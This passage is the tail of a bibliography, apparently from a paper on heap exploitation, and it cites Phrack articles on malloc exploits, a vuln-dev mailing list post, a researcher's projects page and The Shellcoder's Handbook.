http://seclists.org/vuln-dev/2004/Feb/0025.html
6. jp,
http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt
7. Guay-Leroux, Jean-Sebastien, http://www.guay-leroux.com/projects.html
8. gera, http://www.phrack.org/archives/59/p59-0x07.txt
9. The Shellcoder's Handbook: Discovering and Exploiting Security Holes
(2004), Wiley